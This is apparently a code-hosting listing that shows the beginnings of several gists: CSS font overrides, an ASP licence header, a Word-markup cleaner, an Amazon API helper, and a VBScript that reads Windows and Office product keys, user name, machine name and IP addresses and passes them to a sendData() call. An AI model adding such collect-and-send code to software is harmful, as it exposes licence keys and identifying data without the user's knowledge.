This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@font-face {font-family: "Droid Sans"; src: local("Tahoma");} | |
@font-face {font-family: "noto"; src: local("Tahoma");} | |
@font-face {font-family: "Arial Negreta"; src: local("Arial");} | |
@font-face {font-family: "Droid Sans"; font-weight: bold; src: local("Tahoma Bold");} | |
@font-face {font-family: "Droid Serif"; src: local("Tahoma");} | |
@font-face {font-family: "Droid Serif"; font-weight: bold; src: local("Tahoma Bold");} | |
@font-face {font-family: "Droid Serif"; font-style: italic; src: local("Tahoma Italic");} | |
@font-face {font-family: "opensans"; src: local("Tahoma");} | |
@font-face {font-family: "open_sans"; src: local("Tahoma");} | |
@font-face {font-family: "open_sans"; font-weight: bold; src: local("Tahoma Bold");} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'The below is partially based on GetProductKeys.VBS v1.0 by Foolish IT | |
Const HKEY_LOCAL_MACHINE = &H80000002 | |
strQString = "user=" & getUserName() & "&winver=" & GetWinVer() & "&winkey=" & GetWinKey() & "&machine=" & getMachineName() & "&ip=" & getMachineIPs() _ | |
& "&office10=" & GetOfficeKey("10.0") & "&office11=" & GetOfficeKey("11.0") & "&office12=" & GetOfficeKey("12.0") _ | |
& "&office14=" & GetOfficeKey("14.0") & "&office15=" & GetOfficeKey("15.0") | |
strQString = replace(strQString, " ", "%20") | |
sendData(strQString) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<% | |
'======================================================================================================================================= | |
'LICENSE: | |
'By Matt Parnell <parnellm@evangel.edu> | |
'(C) 2013 Evangel University, all rights reserved | |
'By using this software, you agree to share all improvments and changes, and leave this licensing section intact | |
'======================================================================================================================================= | |
'EXAMPLE: | |
'Set oCMDInc = CreateObject("ADODB.Command") | |
'oCMDInc.ActiveConnection = oConnPAdmin |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//the below is amalgamated from https://groups.google.com/forum/#!topic/cleditor/WvU-RIMorp4 | |
//and http://blog.tatedavies.com/2012/08/28/replace-microsoft-chars-in-javascript/ | |
//with some modification | |
function cleanMSJunk(html) { | |
var ary = html.split("<"); | |
var end = -1; | |
for (var i=0; i<ary.length; i++) { | |
if (ary[i].lastIndexOf("!--[if ", 7) === 0) { // handle Microsoft <!--[if ... <![endif]--> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//amazon's api is a real pain in the rear | |
private function _amazonRequest($action, $params){ | |
$base = array( | |
'Action' => $action, | |
'Timestamp' => date("Y-m-d\TH:i:s.\\0\\0\\0\\Z", time()), | |
'AWSAccessKeyId' => $this->amazon['accessKey'], | |
'SignatureVersion' => 2, | |
'SignatureMethod' => 'HmacSHA256', | |
'SellerId' => $this->amazon['sellerId'], | |
'Version' => '2013-01-01' |
NewerOlder